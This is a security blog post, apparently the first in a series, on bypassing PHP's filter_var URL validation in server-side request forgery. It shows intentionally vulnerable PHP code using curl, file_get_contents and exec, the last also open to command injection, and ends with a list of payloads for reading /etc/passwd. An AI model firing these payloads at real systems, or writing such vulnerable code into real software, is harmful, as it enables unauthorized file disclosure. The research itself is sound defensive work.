On SSRF (Server Side Request Forgery) or Simple Stuff Rodolfo Found — Part I
I think the most we have to test against an application the better. But as you can see by yourself (correct me if I’m wrong please) the following set of scenarios and payloads are not addressed in most of the lists you can find out there for SSRF (Server Side Request Forgery). At least I didn’t find them in the very first Google results about “SSRF payloads” or “SSRF Cheat Sheet”.
So this blog post (series) is about what I’ve found, with simple coding at my own side. That’s probably what we would call RESEARCH because although not fancy or complicated stuff, it certainly can contribute to the knowledge about SSRF out there so that’s what matters. :-)
For SSRF I was interested here in just the LFR/LFD (Local File Read/Disclosure) outcome so for that I’ve used the following 3 main ways to retrieve an URL in PHP:
- curl library
- file_get_contents()
- exec()
Obviously, exploitation of those scenarios without any kind of validation or filtering is pretty straightforward:
file:///etc/passwd
But I was interested in bypass of simple validation like the one provided by filter_var() with FILTER_VALIDATE_URL and FILTER_FLAG_QUERY_REQUIRED because these are the bare minimum to validate an URL which is what input is supposed to pass to application in a legit way.
So here’s the first vulnerable code:
<?phpfunction curl($url) { $optArray = array(
CURLOPT_URL => $url,
CURLOPT_FOLLOWLOCATION => 1
); $ch = curl_init();
curl_setopt_array($ch, $optArray);
$response = curl_exec($ch) or die("Error!");
curl_close($ch);
return $response;
}$content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));echo $content;
It is supposed to work that way:
As you can see below, our default payload doesn’t work:
But the following works!
file:/etc/passwd?/
Notice there’s not even the need to use 3 slashes after file scheme. Question mark makes it pass the validation (mimics an URL query) with the need of something after it (a non empty query).
This one also accepts an URL double encoding trick to help with evasion:
Let’s get into our 2nd way, file_get_contents():
<?php$f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!");echo file_get_contents($f);
Again our default payload doesn’t work.
But our new construct does.
file:///etc/?/../passwd
Again, the use of “?” makes it pass the validation while we use it as some dir/folder name. Then we need to use the “/../” trick to get back to “/etc/”.
For our 3rd case, here’s the code (leave command injection apart by now):
<?php$url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);exec('curl -L ' . $url, $content) or die("Error!");
print_r($content);
A dummy attempt with default payload:
And the successful one.
file:/etc/passwd?/
Which are the same as the 1st case but it allows some interesting obfuscation tricks:
file:${br}/et${u}c/pas${te}swd?/
Because “${x}” (where “x” can be any regular char or string) is a bash replacement for a variable which must not exists to be simply discarded in the command executed. A “$(x)” can also be used.
So here’s our list by now to add to your SSRF arsenal!
file:/etc/passwd?/
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/?/../passwd
file:///etc/%3F/../passwd
file:${br}/et${u}c/pas${te}swd?/
file:$(br)/et$(u)c/pas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd?/
file:$(br)/et$(u)c%252Fpas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
file:///etc/passwd?/../passwd
This last one is the SSRF polyglot for all 3 cases above.
It’s possible (or needed) to URL encode some other chars like “:” , “.” and “/” which will increase this list a little bit.
Until next SSRF (Simple Stuff Rodolfo Found) post(s)! ;-)
Don’t learn to hack, #hack2learn.
Check my XSS online stuff, it might help you somehow! :-)
Thanks for your attention!
Rodolfo.